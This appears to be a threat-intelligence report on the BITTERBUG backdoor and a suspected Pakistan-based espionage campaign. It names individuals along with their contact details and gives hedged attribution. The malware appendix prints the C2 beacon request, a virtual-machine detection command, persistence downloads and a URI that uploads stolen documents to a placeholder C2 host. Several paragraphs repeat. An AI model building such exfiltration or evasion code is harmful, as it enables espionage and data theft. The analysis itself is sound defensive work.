http://www.threatconnect.com/news/where-there-is-smoke-there-is-fire-south-asian-cyber-espionage-heats-up/ http://www.threatconnect.com/news/where-there-is-smoke-there-is-fire-south-asian-cyber-espionage-heats-up/ 2            OPERATION ARACHNOPHOBIA Backstory TCIRT began tracking a set of activity involving a BITTERBUG variant in May 2013.
To our knowledge this customized malware has only ever been observed hosted on and communicating with two command and control nodes: 199.91.173.431 and 199.91.173.45.2 3 According to Whois records, those IP addresses were registered to a web-hosting firm in Kansas City, Missouri.
Based on public records, this organization appears to be a legal entity chartered to conduct business in Missouri.4 On July 24, 2013, TCIRT contacted the Kansas City-based hosting provider to notify them of the malicious activities emanating from IP address 199.91.173.43.
The hosting provider subsequently introduced5 TCIRT to their client VPNSOC, the customer responsible for subleasing the IP address.
Later that day, TCIRT received a response6 from supportvpsnoc.com providing limited information on the server and related traffic (Figure 2).
When TCIRT sent follow-up communications, VPSNOC did not respond, further increasing our suspicions.
Figure 2: VPSNOC Response 1 https://www.virustotal.com/en/ip-address/199.91.173.43/information/ 2 https://www.virustotal.com/en/ip-address/199.91.173.45/information/ 3 http://www.shodanhq.com/search?q93c546-b1-4dbcbc6438380 4 https://bsd.sos.mo.gov/BusinessEntity/BusinessEntityDetail.aspx?pagebeSearchID2936099 5 Digital Appendix 2: Email1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500).eml 6 Digital Appendix 2: Email2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 0500).eml 3            OPERATION ARACHNOPHOBIA While reviewing the metadata of VPSNOCs July 24, 2013 email response, we noticed the email was sent from a 0500 time zone.
This time zone usage is consistent with Pakistans time zone.7 The TCIRT published details of the initial activity in the aforementioned blog post on August 2, 2013.
Four days later on August 6, 2013, the Tranchulas Chief Executive Officer, Zubair Khan, contacted us regarding the blog post and its subsequent press coverage.8 Khan submitted Response_ThreatConnect.docx9 as an explanation of the observed activity to both the media and the TCIRT indicating that the debug paths using Tranchulas and umairaziz27 was done by developer of malware to portray wrong impression about Tranchulas and mislead malware analysts.
Notably, Khan included a screenshot of an email message.
The message was reportedly a response from VPSNOC to an email message from Tranchulas sent on July 21, 2013, purportedly to notify VPSNOC of the same malicious activity identified by TCIRT.
However, we noted certain anomalies in this message.
Figure 3: Screenshot (image1.png) included within Response_ThreatConnect.docx As seen in Figure 3 the email message 10 was sent to VPSNOC from an unidentified tranchulas.com email address on Tue, Jul 21, 2013 at 11:36 PM.
July 21, 2013 was not a Tuesday and in fact was a Sunday.
The mismatched date suggests that this email message was potentially modified in order to support the claim that Tranchulas was aware of, and had already reported the exploitation activity.
TCIRT speculates that Tuesday was hastily chosen because our own official notification to VPSNOC was sent on Wednesday the 24th.
In addition, the response received by Tranchulas is nearly identical to that received by TCIRT.
We believe that Tranchulas may have obtained information about TCIRTs notification to VPSNOC through a pre-established relationship.11 7  Digital Appendix 2: Raw Email Communications (Email2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 0500.eml) (Email1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500.eml) 8 http://www.theregister.co.uk/2013/08/07/india_cyberespionage/ 9  Digital Appendix 2: Raw Email Communications (Email3 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up (Date- Wed, 7 Aug 2013 03-18-57 0500).eml) 10 Digital Appendix 1: Research Collateral image1.png (MD5:d224f39f8e20961b776c238731821d16) within Response_ThreatConnect.docx 11 Appendix F: Personas (Persona 2) 4            OPERATION ARACHNOPHOBIA The TCIRT responded to Mr. Khans official explanation with a follow-up inquiry, offering Khan an opportunity to explain the notable date inconsistency within the email screenshot.
The TCIRT also requested that Mr. Khan share the actual email message with the original attached headers.
Mr. Khan did not address the TCIRT question, but rather deferred our request to Mr. Hamza Qamar, a Penetration Testing Team Lead at Tranchulas.
On August 15, 2013, three days later, Qamar responded to TCIRT with a brief denial12 of any modifications to the screenshot (other than email address anonymization) and specifically referred TCIRT back to VPSNOC support (supportvpsnoc.com) for any follow up questions.
Astonished by this dismissal and deflection, TCIRT immediately began to explore the relationship between VPSNOC and Tranchulas.
VPSNOC/Digital Linx/Tranchulas During our research into VPSNOC, we identified that it is actually based in, or conducts partial operations from within, Pakistan.
The company only gives the impression of operating from Kansas City through marketing and the use of leased IP space (Figure 4).
The Whois records for vpsnoc.com revealed that the domain was registered by Digital Linx Hosting.
Digital Linx is also a Pakistan-based hosting company (Figure 5).
Figure 4: Screenshot of VPSnoc.com About us page 12  Digital Appendix 2: Raw Email Communications (Email4 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up - (Date- Thu, 15 Aug 2013 12-52-54 0500).eml 5            OPERATION ARACHNOPHOBIA Figure 5: Digital Linx (digitallinx.com)                                                                     Figure 6: Screenshot of DigitalLinx.net Website  indicating its location                                                                                                                contact page As seen in Figure 6, the administrative email address is admindigitallinx.org.13 This is the same registrant record for the digitallinx.net domain.14 The domains digitillinx.org, digitallinx.net, and digitallinx.com share current and historical similarities in their WHOIS records and sitemap.xml files 15 16 that imply they are all controlled by the same individual or entity.
The domain digitallinx.com is registered to Muhammad Naseer Bhatti (Digital Linx Founder)17 18 19 who uses email addresses naseerdigitallinx.com and nbhattigmail.com.
The domain is also registered to the address 638-F Johar Town, Lahore Pakistan.20 The contact telephone number listed on Digital Linx web site is 925-665-1427 (Figure 6), and is also used in the WHOIS record for defiantmarketing.com21.
The domain defiantmarketing.com is registered to Abunasar Khan.
The registration lists VPSNOC as the registrant organization, abunasaryahoo.com as the registration email address, and House 12, Street 21, F-8/1 Islamabad Federal 44000 as the registration address.
Abunasar Khan has been observed using the aliases agnosticon 22 and agnostic.
From this we were able to locate an advertisement in the Blackhatworld forum from April 2012 posted by agnosticon promoting VPSNOC and identifying it as a subdivision of Digital Linx Hosting (Figure 7).23 Though none of this information is surprising, it further suggests that both Bhatti and Abunasar Khan work or worked for Digital Linx and VPSNOC and during that time were both located in Pakistan.24 13 https://whois.domaintools.com/vpsnoc.com 14 https://whois.domaintools.com/digitallinx.net 15 http://webcache.googleusercontent.com/search?qcache:CtCiQUGgUaoJ:www.digitallinx.net/sitemap.xmlcd1hlenctclnkglus 16 http://digitallinx.net/Contact.html 17 https://whois.domaintools.com/digitallinx.com 18 http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815 19 https://groups.google.com/forum/original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ 20 https://github.com/digitallinx/vBilling/blob/master/CHANGELOG 21 https://whois.domaintools.com/defiantmarketing.com 22 http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html 23 http://www.blackhatworld.com/blackhat-seo/hosting/430705-unmetered-vps-hosting-get-50-off-your-first-month-exclusive-coupons-bhw.html 24 https://dazzlepod.com/rootkit/?page284 6            OPERATION ARACHNOPHOBIA Figure 7: Blackhatworld advertisement identifying VPSNOC as a Digital Linx subdivision25 Additional research into Abunasar Khan identified several registered domains and fragments of his online presence.
Based on his websites and account information, he appears to have an interest or participated in the Antisec26 and Anonymous27 movements (Figure 8).
He also used anony mo us in the registration name field of a personal account 28.
In addition, Abunasar Khans Google profile revealed connections to at least one Tranchulas employee, Hamza Qamar29 and a Digital Linx employee, Shoaib Riaz.30 31Hamza Qamar, the Team Lead for Penetration Testing at Tranchulas, with whom TCIRT last spoke.32 Visiting Hamza Qamars Google page (Figure 9), the only directly connected person was Abunasar Khan.
At this point, it shows that a probable VPNSOC employee with ties or interests in hacking has an undefined but potentially close relationship with Hamza Qamar, the Penetration Testing employee from Tranchulas.
Figure 8: Abunasar.net main page 25 http://vpsnoc.com/order.png 26 http://abunasar.net 27 http://pastebin.com/rqVGqh1q 28 https://dazzlepod.com/rootkit/?page284 29 https://plus.google.com/105774284158907153401/about 30 https://plus.google.com/105059395104464629441/about 31 http://lists.horde.org/archives/horde/Week-of-Mon-20061225/032545.html 32 https://plus.google.com/103436628630566104748/posts 7            OPERATION ARACHNOPHOBIA Figure 9: Qamars only connection out of 40 followers Qamar indicated on his public LinkedIn profile that he engaged in system and enterprise level network and Web application security testing for clients ranging from large federal agencies, DoD, and commercial clients, though it is unclear which DoD is referenced (e.g., whether the Pakistani Ministry of Defense or some other nations defense department).
Tranchulas identifies government (presumably Pakistans government) as an operational sector for its work.
Tranchulas offensive cyber initiative services are offered to national-level cyber security programs 33 34 indicating commercial demand from national-level customers.
Though Tranchulas35 brands itself as a multi-national company, with respective addresses within the United Kingdom36, the United States37, and New Zealand38.
We found evidence that these addresses are all associated with either virtual office spaces or address forwarding services.
For further background information on these personas, please see Appendix F: Personas.
The following is a summary of the relationships between the hosting organizations and Tranchulas: VPNSOC IP space was used as command and control nodes for attackers using variants of the BITTERBUG malware that contained build strings that referenced Tranchulas and a Tranchulas employee.
Tranchulas and VPNSOC were in direct communication at some point in July-August 2013.
VPNSOC is a subsidiary of Digital Linx.
Tranchulas, VPNSOC, Digital Linx were all physically located in Pakistan but maintained virtual presence within the U.S. Hamza Qamar was an employee of Tranchulas.
33  http://www.prnewswire.co.uk/news-releases/tranchulas-steps-into-the-global-cyber-strategy-market-with-launch-of-the-offensive-cyber- initiative-oci-230411011.html 34 Digital Appendix 3: Screenshot Archives (tranchulas.com/offensive-cyber-initiative-oci.png) 35 Digital Appendix 3: Screenshot Archives (tranchulas.com/contact-us) 36 http://www.londonpresence.com/contact-us/ 37 http://nextspace.us/nextspace-union-square-san-francisco/ 38 http://www.privatebox.co.nz/virtual-office/virtual-office-address.php 8            OPERATION ARACHNOPHOBIA Muhammad Naseer Bhatti was the self-proclaimed founder of Digital Linx.
Abunasar Khan was affiliated with AntiSec and VPNSOC.
Digital Linx founder Muhammad Naseer Bhatti had at least a working relationship with VPNSOC employee Abunasar Khan39 connected through domain registrations and a common Google profile for Shoaib Riaz (another Digital Linx employee).
VPNSOC employee Abunasar Khan had a direct connection to Tranchulas employee Hamza Qamar through Google.
Note: A walkthrough of our research is available in Appendices C, D and E. Technical Observations Metadata Analysis: As mentioned earlier, during the email exchanged with Zubair Khan, he sent TCIRT a Microsoft Word document (.docx).
In reviewing the document metadata for Response_ThreatConnect.docx , TCIRT identified that it contained the creator properties of hp.
TCIRT compared the metadata of two benign BITTERBUG-associated decoy documents from July 2013 and found that both also had the author of hp (Figure 10).
Figure 10: Matching Document Author Metadata 39 http://www.know-hosting.com/view/27108-digitallinx.html Decoys associated with BITTERBUG Tranchulas Documents 9            OPERATION ARACHNOPHOBIA While the author field of hp doesnt conclusively prove a relationship, it contributes to the body of circumstantial evidence which links properties of the official Tranchulas response to the properties of decoy documents that were used in conjunction with BITTERBUG targeting campaigns.
Malware Analysis: CyberSquared Inc. partnered with FireEye for a second technical review of the malware associated with this activity.
FireEye analyzed the malware, which they call BITTERBUG, and determined it to be a custom backdoor.
The backdoor relies on various support components, including the non-malicious, publically available Libcurl40 for installation, launch, and communications.
In some variants, BITTERBUG has the ability to automatically target and exfiltrate files with extensions such as .doc, .xls, .pdf, .ppt, .egm, and .xml.
The full malware report is included in Appendix A: Malware Details.
The earliest evidence of the malware family dates to April 2013, based on Portable Executable (PE) compile times, with more than 10 BITTERBUG variants observed to date.
The earliest samples of BITTERBUG contain the Tranchulas debug path (below), as mentioned in the August 2013 TCIRT blog post.
These BITTERBUG variants were probably used in attacks around summer 2013, using possible lures related to the then-recent death of Sarabjit Singh (an Indian national imprisoned in Pakistan) and an Indian Government pension memorandum.
As stated in the original blog (and raised in the formal Tranchulas response), several binaries contain references to Cath in the debug path.
It is important to note that the Cath files are support components and not BITTERBUG variants, so it is probable that these were developed by another party but are a required component of the family.
12 date.
The earliest samples of BITTERBUG contain the Tranchulas debug path (below), as mentioned in the August 2013 TCIRT blog post.
These BITTERBUG variants were probably used in attacks around summer 2013, using possible lures related to the then-recent death of Sarabjit Singh (an Indian national imprisoned in Pakistan) and an Indian Government pension memorandum.
As stated in the original blog (and raised in the formal Tranchulas response), several binaries contain references to Cath in the debug path.
It is important to note that the Cath files are support components and not BITTERBUG variants, so it is probable that these were developed by another party but are a required component of the family.
C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb C:\Users\Cath\documents\visual studio 2010\Projects\Start\Release\Start.pdb Additional BITTERBUG variants were compiled in June and July 2013 that contained different identifiers in the debug paths: Cert-India (3 samples) and umairaziz27 (1 sample).41 The presence of umairaziz27 in a debug path from one sample makes us wonder if this represents an operational security mistake.
The debug path of umairaziz27 led us to Twitter42 and LinkedIn43 accounts (on which a matching alias is used) that belong to a Tranchulas employee named Umair Aziz, who identified himself as an Information Security Analyst44 and graduate of National University of Sciences and Technology45 (NUST).46 One of these samples was probably used in attacks in late summer 2013, using a leaked report lure which contained a decoy document related to Pakistans alleged inability to locate Osama Bin Laden.
C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb After publication of the TCIRT blog and our communications with Tranchulas occurred in August 2013, no new samples of BITTERBUG or its support components (based on compile times) were identified until September (various support components) and October (a new BITTERBUG variant).
Interestingly, the samples compiled following the blog publication used entirely new and generic debug paths (Figure 11) as well as a compilation tactic to conceal the C2 address from static analysis.
Between September and December, we observed more variations of 41 Appendix A: Malware Details 42 https://twitter.com/umairaziz27 43 http://pk.linkedin.com/in/umairaziz27 44 https://twitter.com/umairaziz27/status/332049978878996481 45 www.nust.edu.pk 46http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download20Section/Graduate20Pro file20SEECS2020BICSE.pdf Additional BITTERBUG variants were compiled in June and July 2013 that contained different identifiers in the debug paths: Cert-India (3 samples) and umairaziz27 (1 sample).41 The presence of umairaziz27 in a debug path from one sample makes us wonder if this represents an operational security mistake.
The debug path of umairaziz27 led us to Twitter42 and LinkedIn43 accounts (on which a matching alias is used) that belong to a Tranchulas employee named Umair Aziz, who identified himself as an Information Security Analyst44 and graduate of National University of Sciences and Technology45 (NUST).46 One of these samples was probably used in attacks in late summer 2013, using a leaked report lure which contained a decoy document related to Pakistans alleged inability to locate Osama Bin Laden.
12 date.
The earliest samples of BITTERBUG contain the Tranchulas debug path (below), as mentioned in the August 2013 TCIRT blog post.
These BITTERBUG variants were probably used in attacks around summer 2013, using possible lures related to the then-recent death of Sarabjit Singh (an Indian national imprisoned in Pakistan) and an Indian Government pension memorandum.
As stated in the original blog (and raised in the formal Tranchulas response), several binaries contain references to Cath in the debug path.
It is important to note that the Cath files are support components and not BITTERBUG variants, so it is probable that these were developed by another party but are a required component of the family.
C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb C:\Users\Cath\documents\visual studio 2010\Projects\Start\Release\Start.pdb Additional BITTERBUG variants were compiled in June and July 2013 that contained different identifiers in the debug paths: Cert-India (3 samples) and umairaziz27 (1 sample).41 The presence of umairaziz27 in a debug path from one sample makes us wonder if this represents an operational security mistake.
The debug path of umairaziz27 led us to Twitter42 and LinkedIn43 accounts (on which a matching alias is used) that belong to a Tranchulas employee named Umair Aziz, who identified himself as an Information Security Analyst44 and graduate of National University of Sciences and Technology45 (NUST).46 One of these samples was probably used in attacks in late summer 2013, using a leaked report lure which contained a decoy document related to Pakistans alleged inability to locate Osama Bin Laden.
C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb After publication of the TCIRT blog and our communications with Tranchulas occurred in August 2013, no new samples of BITTERBUG or its support components (based on compile times) were identified until September (various support components) and October (a new BITTERBUG variant).
Interestingly, the samples compiled following the blog publication used entirely new and generic debug paths (Figure 11) as well as a compilation tactic to conceal the C2 address from static analysis.
Between September and December, we observed more variations of 41 Appendix A: Malware Details 42 https://twitter.com/umairaziz27 43 http://pk.linkedin.com/in/umairaziz27 44 https://twitter.com/umairaziz27/status/332049978878996481 45 www.nust.edu.pk 46http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download20Section/Graduate20Pro file20SEECS2020BICSE.pdf After publication of the TCIRT blog and our communications with Tranchulas occurred in August 2013, no new samples of BITTERBUG or its support components (based on compile times) were identified until September (various support components) and October (a new BITTERBUG variant).
Interestingly, the samples compiled following the blog publication used entirely new and generic debug paths (Figure 11) as well as a compilation tactic to conceal the C2 address from static analysis.
Between September and December, we observed more variations of BITTERBUG and its support components in terms of packaging, host-based activities, 40 http://curl.haxx.se/libcurl/ 41 Appendix A: Malware Details 42 https://twitter.com/umairaziz27 43 http://pk.linkedin.com/in/umairaziz27 44 https://twitter.com/umairaziz27/status/332049978878996481 45 www.nust.edu.pk 46 http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download20Section/Graduate20Profile20SEECS2020BICSE.pdf 10            OPERATION ARACHNOPHOBIA and decoys (or the lack of them) compared to the samples before our blog post.
This could indicate that the threat actors were aware of the blog post and modified their malware and related components to distance them from prior indicators.
13 BITTERBUG and its support components in terms of packaging, host-based activities, and decoys (or the lack of them) compared to the samples before our blog post.
This could indicate that the threat actors were aware of the blog post and modified their malware and related components to distance them from prior indicators.
C:\Intel\Logs\file.pdb Figure 11: Generic Debug Path Between December 2013 and late March 2014, we observed several new lures used in BITTERBUG self-extracting RAR (SFXRAR) files.
One from December contained several BITTERBUG variants and used a decoy PDF document (Figure 12) related to the December arrest of Devyani Khobragade,47 an Indian diplomat in the United States.
In spring 2014, we observed a SFXRAR file with a filename lure related to the March 2014 disappearance of Malaysia Airlines Flight 37048 (cast as a Pakistan- related hijacking).
This SFXRAR contained the latest BITTERBUG variant, which had new dependencies on support components.
Interestingly, this SFXRARs filename was the only lure element related to the MH370 event it did not contain a decoy document.
We provide a more detailed report on this SFX and the related variant in Appendix A: Malware Details.
47 http://world.time.com/2013/12/18/us-to-review-devyani-khobragade-arrest-and-strip-search/ 48http://www.businessinsider.com/mh370-investigators-find-evidence-of-a-mysterious-power- outage-during-the-early-part-of-its-flight-2014-6 Figure 11: Generic Debug Path Between December 2013 and late March 2014, we observed several new lures used in BITTERBUG self-extracting RAR (SFXRAR) files.
One from December contained several BITTERBUG variants and used a decoy PDF document (Figure 12) related to the December arrest of Devyani Khobragade,47 an Indian diplomat in the United States.
In spring 2014, we observed a SFXRAR file with a filename lure related to the March 2014 disappearance of Malaysia Airlines Flight 37048 (cast as a Pakistan-related hijacking).
This SFXRAR contained the latest BITTERBUG variant, which had new dependencies on support components.
Interestingly, this SFXRARs filename was the only lure element related to the MH370 event it did not contain a decoy document.
We provide a more detailed report on this SFX and the related variant in Appendix A: Malware Details.
Figure 12: Screenshot of Indian diplomat arrest decoy PDF BITTERBUG continued to rely on the same network behaviors to communicate with its C2s.
Connections to its C2 nodes relied on PHP and used communications that included .php?compname and .php?srs, as well as direct file/component retrieval from the C2s.
Though many of the samples that we have observed use direct IPs for HTTP communications, we have also observed more limited use of a No-IP domain.
47 http://world.time.com/2013/12/18/us-to-review-devyani-khobragade-arrest-and-strip-search/ 48 http://www.businessinsider.com/mh370-investigators-find-evidence-of-a-mysterious-power-outage-during-the-early-part-of-its-flight-2014-6 11            OPERATION ARACHNOPHOBIA Conclusion Operation Arachnophobia consists of an apparent targeted exploitation campaign, dating back to early 2013, using the BITTERBUG malware family and seemingly directed against entities involved in India-Pakistan issues.
The threat actor appears to have exclusively used VPSNOC, a probable Pakistan-based VPS service provider who leased U.S. hosting services, for both the delivery and C2 phases of attack.
Research later identified that a Pakistan-based VPSNOC representative had a social network affiliation with a Tranchulas employee as well as apparent affiliations with the Anonymous and AntiSec movements.
After the August 6, 2013 blog, Tranchulas provided TCIRT and the media an official statement and explanation of BITTERBUG activity, however, this explanation contained discrepancies.
The TCIRT addressed some of these discrepancies with Tranchulas personnel, who were unresponsive, increasing our suspicion of the activity.
We later observed BITTERBUG activity following August 2013 with subtle changes that further generalized debug paths.
It was this chain of events that served as a catalyst for extra scrutiny of the activity and collaboration between the ThreatConnect and FireEye Labs teams to share information.
While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently point to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets or those who are involved in India-Pakistan issues.
Many of the notable characteristics of the BITTERBUG activity suggest that this is indeed part of a Pakistan-based cyber exploitation effort that has apparently attempted to obfuscate its malware characteristics and origins (behind U.S. infrastructure), before and after public disclosure in August 2013.
On the surface, BITTERBUG serves as an example of how threat actors mask their operations across social, cultural and geographic boundaries.
More importantly, it demonstrates the value of threat intelligence sharing and industry collaboration.
As one organization begins to pull at a thread of evidence and share their findings with another, a larger understanding and shared perspective is revealed.
It is through this process that a shared awareness emerges into a larger, more comprehensive story that explains what we are seeing and why - ultimately it is this story that better serves us all.
12            OPERATION ARACHNOPHOBIA APPENDIX APPENDIX A: Malware Details BITTERBUG BITTERBUG is a backdoor executable capable of uploading and downloading files, listing running processes, generating file listings, and automatically transferring selected files to its command and control (C2) server.
BITTERBUG appears to be virtual machine aware and may not execute on a VMWare or VirtualBox VM.
We have observed BITTERBUG installed by a self-extracting RAR archive disguised as a screensaver.
Upon execution, the self-extracting RAR archive may extract configuration files, dependency DLLs, and the BITTERBUG executable.
The timeline below is of BITTERBUG activity from May 2013 through March 2014.
Timeline of BITTERBUG characteristics vs. ThreatConnect events 13            OPERATION ARACHNOPHOBIA Details Upon execution the self-extracting RAR may install BITTERBUG.exe and the following DLLs: libcurld.dll  Used for downloading and uploading files msvcm90d.dll  C runtime library msvcp90d.dll  C runtime library msvcr90d.dll  C runtime library The self-extracting RAR may install the following benign configuration files: Microsoft.VC90.DebugCRT.manifest  Compilation artifact BtcirEt.
DZU  Self-extracting RAR configuration file SJeXSrA.KNX  Self-extracting RAR configuration file VCAKSQl.
TNT  Self-extracting RAR configuration file BITTERBUG first may execute the following Windows Management Instrumentation (WMI) command to detect the presence of a virtual machine (VM): cmd.exe /c wmic diskdrive list brief APPDATA\Microsoft\recovery.txt BITTERBUG then may open recovery.txt and check for the presence of strings VBox or VMware.
The backdoor then may enter an infinite sleep loop if recovery.txt contains either one of the aforementioned strings (Example in Figure 13).
Figure 13: Example recovery.txt file from VMware virtual machine Next BITTERBUG typically will beacon to the C2 server by sending the computer name and username of the compromised system.
An example beacon request is shown in Figure 14.
POST /path_active.php?compnameCOMPUTERNAME_USERNAME HTTP/1.1 Host: c2_location Accept: / Content-Length: 25 Content-Type: application/x-www-form-urlencoded COMPUTERNAME_USERNAME Figure 14: Initial C2 beacon 14            OPERATION ARACHNOPHOBIA BITTERBUG then may perform an HTTP GET request for the following URI: http://c2_location/checkpkg.php?compnameCOMPUTERNAME_USERNAME If the C2 server responds with a filename, the filename received is deleted from APPDATA\MicrosoftFILE_NAME_FROM_ C2.
The purpose of this command might be to delete older versions of BITTERBUG, although we have not observed this command occurring in the wild.
BITTERBUG then may attempt to download the files listed in Table 1.
The purpose of the first three files is unknown.
The final two files are downloaded to the users Startup directory and executed at startup in order to maintain persistence.
Request URI Download Path http://c2_location/versionchk.php?srs436712384 APPDATA\Microsoft\file.exe http://c2_location/vtris.php?srs436712384 APPDATA\Microsoft\percf001.dat http://c2_location/vtris1.php?srs436712384 APPDATA\Microsoft\percf002.dat http://c2_location/is_array_max.php?compname COMPUTERNAME_USERNAME USERPROFILE\Start Menu\Programs\ Startup\wincheck.exe http://c2_location/is_array_pal.php?compname COMPUTERNAME_USERNAME USERPROFILE\Start Menu\Programs\ Startup\winsquirt.exe Table 1: Files downloaded by the backdoor Next, BITTERBUG may scan through each drive letter and search recursively for files with the following file extensions: .doc, .ppt, .xls, .pdf, .docx, .pptx, .pps, .xlsx BITTERBUG then typically creates a file list containing all documents (excluding those whose filename contains MediaUtils) to the following locations: APPDATA\Microsoft\plang006.txt APPDATA\Microsoft\tlang006.txt BITTERBUG may also write a list of all running processes to: APPDATA\Microsoft\prc.dat Finally, BITTERBUG typically uploads the running process list, document file list, and all documents to the following URI: http://c2_location/fetch_updates_flex.php?compnameCOMPUTERNAME_USERNAME Host-Based Signatures File System Residue BITTERBUG may be extracted along with the following embedded files: USERPROFILE\5rv3fgk6\BITTERBUG.exe USERPROFILE\5rv3fgk6\libcurld.dll USERPROFILE\5rv3fgk6\msvcm90d.dll USERPROFILE\5rv3fgk6\msvcp90d.dll USERPROFILE\5rv3fgk6\msvcr90d.dll USERPROFILE\5rv3fgk6\Microsoft.
VC90.DebugCRT.manifest 15            OPERATION ARACHNOPHOBIA USERPROFILE\5rv3fgk6\SJeXSrA.KNX USERPROFILE\5rv3fgk6\BtcirEt.
DZU USERPROFILE\5rv3fgk6\VCAKSQl.
TNT The malware may create the following files: APPDATA\Microsoft\recovery.txt APPDATA\Microsoft\plang006.txt APPDATA\Microsoft\tlang006.txt APPDATA\Microsoft\prc.dat APPDATA\Microsoft\file.exe APPDATA\Microsoft\percf001.dat APPDATA\Microsoft\percf002.dat USERPROFILE\Start Menu\Programs\Startupwincheck.exe USERPROFILE\Start Menu\Programs\Startup\winsquirt.exe Network-Based Signatures The malware typically communicates on TCP port 80: The malware may perform HTTP requests for the following URIs: http://c2_location/checkpkg.php?compnameCOMPUTERNAME_USERNAME http://c2_location/is_array_max.php?compnameCOMPUTERNAME_USERNAME http://c2_location/is_array_pal.php?compnameCOMPUTERNAME_USERNAME http://c2_location/path_active.php?compnameCOMPUTERNAME_USERNAME http://c2_location/fetch_updates_flex.php?compnameCOMPUTERNAME_USERNAME http://c2_location/versionchk.php?srs436712384 http://c2_location/vtris.php?srs436712384 http://c2_location/vtris1.php?srs436712384 File Manipulations We observed other interesting operational security-oriented challenges in the post-blog post samples.
In one case, an actor appeared to manually null out the Cert-India user directory in one of the file paths (see figures 15 and 16 below) contained in two binaries (support components).
These files shared the same import hash (4e96e86db5a8a025b996aefdc218ff74) and were virtually the same files minus modification to a few bytes in the second sample.
Figure 15: Original file content for 7588ff900e32145cbcbc77837237aef8 16            OPERATION ARACHNOPHOBIA Figure 16: Nulled file path for 26616e6662b390ebdb588cdaaae5e4f6 As these samples point to, we also observed use of the C Boost libraries, which introduced a new file path to monitor for operational security purposes.
We observed at least one case in which files mixed old and new file paths, as seen in the figures 17 and 18 below.
Figures 17 and 18: Screenshots from two locations in 6e8c4d2d5d4e5e7853a1842b04a6bfdf In both cases, it is possible that the actors intentionally did this in an attempt to mislead further research efforts into post- blog samples or cast suspicion on Cert-India as a more-revealing element.
For example, analysis of files deployed alongside the nulled-out Cert-India sample mentioned above revealed a lack of concern over the same string.
Alternatively, these inconsistencies could also indicate sloppy tradecraft and/or teamwork.
21 Figures 17 and 18: Screenshots from two locations in 6e8c4d2d5d4e5e7853a1842b04a6bfdf In both cases, it is possible that the actors intentionally did this in an attempt to mislead further research efforts into post-blog samples or cast suspicion on Cert- India as a more-revealing element.
For example, analysis of files deployed alongside the nulled-out Cert-India sample mentioned above revealed a lack of concern over the same string.
Alternatively, these inconsistencies could also indicate sloppy tradecraft and/or teamwork.
C:\Users\Cert- India\Documents\boost_1_53_0\boost/thread/win32/thread_primitives.hpp 17            OPERATION ARACHNOPHOBIA APPENDIX B: MD5 Hashes and Malware Table BITTERBUG Hashes MD5 File Size (bytes) Compile Time be7de2f0cf48294400c714c9e28ecdd1 158720 2013-05-08T10:58:22Z fd3a713ebf60150b99fb09de09997a24 158208 2013-05-10T19:18:54Z 03f528e752dee57b1ff050a72d30de60 158208 2013-05-23T17:21:19Z 801c8bac8aea4d0226e47551c808a331 169984 2013-06-14T13:53:13Z a21f2cb65a3467925c1615794cce7581 172032 2013-06-25T13:04:04Z 35663e66d02e889d35aa5608c61795eb 171520 2013-07-09T10:16:00Z 328adb01fb4450989ee192107a765792 173056 2013-08-01T17:28:54Z 8878162cf508266f6be1326da20171df 267776 2013-10-24T09:28:23Z 5ccb43583858c1c6f41464ee21a192ba 225792 2013-12-06T10:02:36Z 44abc22162c50fcc8dc8618241e3cd1a 169472 2013-12-26T09:19:40Z 6e8c4d2d5d4e5e7853a1842b04a6bfdf 480256 2013-12-30T13:11:23Z 828d4a66487d25b413cb19ef8ee7c783 171520 2014-03-17T08:16:25Z BITTERBUG and Support Component Debug Strings (in order of first use) Compile Time Debug Paths 2013-05-08T10:58:22Z C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb 2013-05-10T19:18:54Z C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb 2013-05-23T17:21:19Z C:\Users\Tranchulas\Documents\Visual Studio 2008\Projects\upload\Release\upload.pdb 2013-05-28T11:59:36Z C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb 2013-05-30T08:48:04Z C:\Users\Cath\documents\visual studio 2010\Projects\Start\Release\Start.pdb 2013-06-13T08:34:21Z C:\Users\Cath\documents\visual studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb 2013-06-14T13:53:13Z C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb 2013-06-25T13:04:04Z C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb 2013-07-09T10:16:00Z C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb 2013-08-01T17:28:54Z C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb 2013-10-24T09:28:23Z C:\Intel\Logs\file.pdb 2013-12-06T10:02:36Z C:\Intel\Logs\logs.pdb 2013-12-26T09:19:40Z C:\Intel\Logs\file.pdb 2013-12-30T13:11:23Z C:\Intel\Logs\file.pdb 